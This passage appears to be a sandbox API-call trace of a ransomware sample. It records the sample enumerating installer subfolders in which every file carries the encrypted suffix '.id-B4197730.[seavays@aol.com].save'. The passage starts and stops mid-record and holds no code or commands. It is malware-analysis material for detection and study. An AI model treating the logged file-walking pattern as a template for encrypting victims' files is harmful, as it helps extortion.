lpFindFileData=0x3def800 | out: lpFindFileData=0x3def800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x764a1c2, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x764a1c2, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x7f4403b, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0xffffdbd5, dwReserved1=0x3c7, cFileName="SetupResources.dll.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPR~1.SAV")) returned 0 [0206.045] FindClose (in: hFindFile=0x4262c58 | out: hFindFile=0x4262c58) returned 1 [0206.046] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x5c0000) returned 1 [0206.046] FindNextFileW (in: hFindFile=0x5da390, lpFindFileData=0x3defa7c | out: lpFindFileData=0x3defa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c6, dwReserved1=0xffffbdd5, cFileName="1053", cAlternateFileName="")) returned 1 [0206.046] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x4250058 [0206.046] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1053\\*", lpFindFileData=0x3def800 | out: lpFindFileData=0x3def800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdbd5, dwReserved1=0x3c7, cFileName=".", cAlternateFileName="")) returned 0x4263018 [0206.047] FindNextFileW (in: hFindFile=0x4263018, lpFindFileData=0x3def800 | out: lpFindFileData=0x3def800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdbd5, dwReserved1=0x3c7, cFileName="..", cAlternateFileName="")) returned 1 [0206.047] FindNextFileW (in: hFindFile=0x4263018, lpFindFileData=0x3def800 | out: lpFindFileData=0x3def800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x85d24fd, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x85d24fd, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x8b2fa3c, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x1004, dwReserved0=0xffffdbd5, dwReserved1=0x3c7, cFileName="eula.rtf.id-B4197730.[seavays@aol.com].save", cAlternateFileName="EULART~1.SAV")) returned 1 [0206.047] FindNextFileW (in: hFindFile=0x4263018, lpFindFileData=0x3def800 | out: lpFindFileData=0x3def800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x87c24f3, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x87c24f3, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x87c24f3, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x13076, dwReserved0=0xffffdbd5, dwReserved1=0x3c7, cFileName="LocalizedData.xml.id-B4197730.[seavays@aol.com].save", cAlternateFileName="LOCALI~1.SAV")) returned 1 [0206.047] FindNextFileW (in: hFindFile=0x4263018, lpFindFileData=0x3def800 | out: lpFindFileData=0x3def800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x767047d, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x767047d, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x769659b, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x4658, dwReserved0=0xffffdbd5, dwReserved1=0x3c7, cFileName="SetupResources.dll.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPR~1.SAV")) returned 1 [0206.048] FindNextFileW (in: hFindFile=0x4263018, lpFindFileData=0x3def800 | out: lpFindFileData=0x3def800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x767047d, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x767047d, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x769659b, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x4658, dwReserved0=0xffffdbd5, dwReserved1=0x3c7, cFileName="SetupResources.dll.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPR~1.SAV")) returned 0 [0206.048] FindClose (in: hFindFile=0x4263018 | out: hFindFile=0x4263018) returned 1 [0206.049] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x5c0000) returned 1 [0206.049] FindNextFileW (in: hFindFile=0x5da390, lpFindFileData=0x3defa7c | out: lpFindFileData=0x3defa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c6, dwReserved1=0xffffbdd5, cFileName="1055", cAlternateFileName="")) returned 1 [0206.049] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x4250058 [0206.049] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1055\\*", lpFindFileData=0x3def800 | out: lpFindFileData=0x3def800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdbd5, dwReserved1=0x3c7, cFileName=".", cAlternateFileName="")) returned 0x4262fd8 [0206.050] FindNextFileW (in: hFindFile=0x4262fd8, lpFindFileData=0x3def800 | out: lpFindFileData=0x3def800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdbd5, dwReserved1=0x3c7, cFileName="..", cAlternateFileName="")) returned 1 [0206.050] FindNextFileW (in: hFindFile=0x4262fd8, lpFindFileData=0x3def800 | out: lpFindFileData=0x3def800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x87ea1d0, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x87ea1d0, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x87ea1d0, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x1004, dwReserved0=0xffffdbd5, dwReserved1=0x3c7, cFileName="eula.rtf.id-B4197730.[seavays@aol.com].save", cAlternateFileName="EULART~1.SAV")) returned 1 [0206.051] FindNextFileW (in: hFindFile=0x4262fd8, lpFindFileData=0x3def800 | out: lpFindFileData=0x3def800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x88f366e, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x88f366e, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x8919802, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x12d16, dwReserved0=0xffffdbd5, dwReserved1=0x3c7, cFileName="LocalizedData.xml.id-B4197730.[seavays@aol.com].save", cAlternateFileName="LOCALI~1.SAV")) returned 1 [0206.051] FindNextFileW (in: hFindFile=0x4262fd8, lpFindFileData=0x3def800 | out: lpFindFileData=0x3def800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x769659b, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x769659b, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x76bc70d, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x4658, dwReserved0=0xffffdbd5, dwReserved1=0x3c7, cFileName="SetupResources.dll.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPR~1.SAV")) returned 1 [0206.051] FindNextFileW (in: hFindFile=0x4262fd8, lpFindFileData=0x3def800 | out: lpFindFileData=0x3def800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x769659b, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x769659b, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x76bc70d, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x4658, dwReserved0=0xffffdbd5, dwReserved1=0x3c7, cFileName="SetupResources.dll.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPR~1.SAV")) returned 0 [0206.051] FindClose (in: hFindFile=0x4262fd8 | out: hFindFile=0x4262fd8) returned 1 [0206.052] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x5c0000) returned 1 [0206.052] FindNextFileW (in: hFindFile=0x5da390, lpFindFileData=0x3defa7c | out: lpFindFileData=0x3defa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c6, dwReserved1=0xffffbdd5, cFileName="2052", cAlternateFileName="")) returned 1 [0206.052] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x4250058 [0206.052] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\2052\\*", lpFindFileData=0x3def800 | out: lpFindFileData=0x3def800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdbd5, dwReserved1=0x3c7, cFileName=".", cAlternateFileName="")) returned 0x4262cd8 [0206.053] FindNextFileW (in: hFindFile=0x4262cd8, lpFindFileData=0x3def800 | out: lpFindFileData=0x3def800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdbd5, dwReserved1=0x3c7, cFileName="..", cAlternateFileName="")) returned 1 [0206.053] FindNextFileW (in: hFindFile=0x4262cd8, lpFindFileData=0x3def800 | out: lpFindFileData=0x3def800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x8919802, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x8919802, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x8919802, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x17b4, dwReserved0=0xffffdbd5, dwReserved1=0x3c7, cFileName="eula.rtf.id-B4197730.[seavays@aol.com].save", cAlternateFileName="EULART~1.SAV")) returned 1 [0206.053] FindNextFileW (in: hFindFile=0x4262cd8, lpFindFileData=0x3def800 | out: lpFindFileData=0x3def800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x893fada, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x893fada, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x912574a, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0xee06, dwReserved0=0xffffdbd5, dwReserved1=0x3c7, cFileName="LocalizedData.xml.id-B4197730.[seavays@aol.com].save", cAlternateFileName="LOCALI~1.SAV")) returned 1 [0206.053] FindNextFileW (in: hFindFile=0x4262cd8, lpFindFileData=0x3def800 | out: lpFindFileData=0x3def800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x76e2aad, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x76e2aad, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x7f90157, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x3858, dwReserved0=0xffffdbd5, dwReserved1=0x3c7, cFileName="SetupResources.dll.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPR~1.SAV")) returned 1 [0206.053] FindNextFileW (in: hFindFile=0x4262cd8, lpFindFileData=0x3def800 | out: lpFindFileData=0x3def800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x76e2aad, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x76e2aad, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x7f90157, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x3858, dwReserved0=0xffffdbd5, dwReserved1=0x3c7, cFileName="SetupResources.dll.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPR~1.SAV")) returned 0 [0206.053] FindClose (in: hFindFile=0x4262cd8 | out: hFindFile=0x4262cd8) returned 1 [0206.054] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x5c0000) returned 1 [0206.054] FindNextFileW (in: hFindFile=0x5da390, lpFindFileData=0x3defa7c | out: lpFindFileData=0x3defa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c6, dwReserved1=0xffffbdd5, cFileName="2070", cAlternateFileName="")) returned 1 [0206.054] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x4250058 [0206.054] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\2070\\*", lpFindFileData=0x3def800 | out: lpFindFileData=0x3def800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdbd5, dwReserved1=0x3c7, cFileName=".", cAlternateFileName="")) returned 0x4262e18 [0206.056] FindNextFileW (in: hFindFile=0x4262e18, lpFindFileData=0x3def800 | out: lpFindFileData=0x3def800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdbd5, dwReserved1=0x3c7, cFileName="..", cAlternateFileName="")) returned 1 [0206.056] FindNextFileW (in: hFindFile=0x4262e18, lpFindFileData=0x3def800 | out: lpFindFileData=0x3def800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x8a70cc6, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x8a70cc6, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x8a96f1a, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x1094, dwReserved0=0xffffdbd5, dwReserved1=0x3c7, cFileName="eula.rtf.id-B4197730.[seavays@aol.com].save", cAlternateFileName="EULART~1.SAV")) returned 1 [0206.056] FindNextFileW (in: hFindFile=0x4262e18, lpFindFileData=0x3def800 | out: lpFindFileData=0x3def800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x8a96f1a, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x8a96f1a, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x8a96f1a, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x13a76, dwReserved0=0xffffdbd5, dwReserved1=0x3c7, cFileName="LocalizedData.xml.id-B4197730.[seavays@aol.com].save", cAlternateFileName="LOCALI~1.SAV")) returned 1 [0206.056] FindNextFileW (in: hFindFile=0x4262e18, lpFindFileData=0x3def800 | out: lpFindFileData=0x3def800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x7e129c1, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x7e129c1, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x7e129c1, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0xffffdbd5, dwReserved1=0x3c7, cFileName="SetupResources.dll.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPR~1.SAV")) returned 1 [0206.056] FindNextFileW (in: hFindFile=0x4262e18, lpFindFileData=0x3def800 | out: lpFindFileData=0x3def800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x7e129c1, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x7e129c1, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x7e129c1, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0xffffdbd5, dwReserved1=0x3c7, cFileName="SetupResources.dll.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPR~1.SAV")) returned 0 [0206.056] FindClose (in: hFindFile=0x4262e18 | out: hFindFile=0x4262e18) returned 1 [0206.057] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x5c0000) returned 1 [0206.058] FindNextFileW (in: hFindFile=0x5da390, lpFindFileData=0x3defa7c | out: lpFindFileData=0x3defa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c6, dwReserved1=0xffffbdd5, cFileName="3076", cAlternateFileName="")) returned 1 [0206.058] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x4250058 [0206.058] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\3076\\*", lpFindFileData=0x3def800 | out: lpFindFileData=0x3def800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdbd5, dwReserved1=0x3c7, cFileName=".", cAlternateFileName="")) returned 0x4262ed8 [0206.059] FindNextFileW (in: hFindFile=0x4262ed8, lpFindFileData=0x3def800 | out: lpFindFileData=0x3def800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdbd5, dwReserved1=0x3c7, cFileName="..", cAlternateFileName="")) returned 1 [0206.059] FindNextFileW (in: hFindFile=0x4262ed8, lpFindFileData=0x3def800 | out: lpFindFileData=0x3def800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x8abdf43, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x8abdf43, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x927cc87, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x1994, dwReserved0=0xffffdbd5, dwReserved1=0x3c7, cFileName="eula.rtf.id-B4197730.[seavays@aol.com].save", cAlternateFileName="EULART~1.SAV")) returned 1 [0206.060] FindNextFileW (in: hFindFile=0x4262ed8, lpFindFileData=0x3def800 | out: lpFindFileData=0x3def800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x8b2fa3c, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x8b2fa3c, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x8b2fa3c, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0xee96, dwReserved0=0xffffdbd5, dwReserved1=0x3c7, cFileName="LocalizedData.xml.id-B4197730.[seavays@aol.com].save", cAlternateFileName="LOCALI~1.SAV")) returned 1 [0206.060] FindNextFileW (in: hFindFile=0x4262ed8, lpFindFileData=0x3def800 | out: lpFindFileData=0x3def800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x7e129c1, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x7e129c1, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x7e38b7a, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x3858, dwReserved0=0xffffdbd5, dwReserved1=0x3c7, cFileName="SetupResources.dll.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPR~1.SAV")) returned 1 [0206.060] FindNextFileW (in: hFindFile=0x4262ed8, lpFindFileData=0x3def800 | out: lpFindFileData=0x3def800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x7e129c1, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x7e129c1, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x7e38b7a, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x3858, dwReserved0=0xffffdbd5, dwReserved1=0x3c7, cFileName="SetupResources.dll.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPR~1.SAV")) returned 0 [0206.060] FindClose (in: hFindFile=0x4262ed8 | out: hFindFile=0x4262ed8) returned 1 [0206.061] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x5c0000) returned 1 [0206.061] FindNextFileW (in: hFindFile=0x5da390, lpFindFileData=0x3defa7c | out: lpFindFileData=0x3defa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c6, dwReserved1=0xffffbdd5, cFileName="3082", cAlternateFileName="")) returned 1 [0206.061] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x4250058 [0206.061] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\3082\\*", lpFindFileData=0x3def800 | out: lpFindFileData=0x3def800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdbd5, dwReserved1=0x3c7, cFileName=".", cAlternateFileName="")) returned 0x4262f98 [0206.062] FindNextFileW (in: hFindFile=0x4262f98, lpFindFileData=0x3def800 | out: lpFindFileData=0x3def800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdbd5, dwReserved1=0x3c7, cFileName="..", cAlternateFileName="")) returned 1 [0206.062] FindNextFileW (in: hFindFile=0x4262f98, lpFindFileData=0x3def800 | out: lpFindFileData=0x3def800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x8b55c13, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x8b55c13, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x8b55c13, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0xce4, dwReserved0=0xffffdbd5, dwReserved1=0x3c7, cFileName="eula.rtf.id-B4197730.[seavays@aol.com].save", cAlternateFileName="EULART~1.SAV")) returned 1 [0206.062] FindNextFileW (in: hFindFile=0x4262f98, lpFindFileData=0x3def800 | out: lpFindFileData=0x3def800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x8b7c082, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x8b7c082, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x9387cb5, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x13976, dwReserved0=0xffffdbd5, dwReserved1=0x3c7, cFileName="LocalizedData.xml.id-B4197730.[seavays@aol.com].save", cAlternateFileName="LOCALI~1.SAV")) returned 1 [0206.062] FindNextFileW (in: hFindFile=0x4262f98, lpFindFileData=0x3def800 | out: lpFindFileData=0x3def800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x7e38b7a, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x7e38b7a, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x7e38b7a, 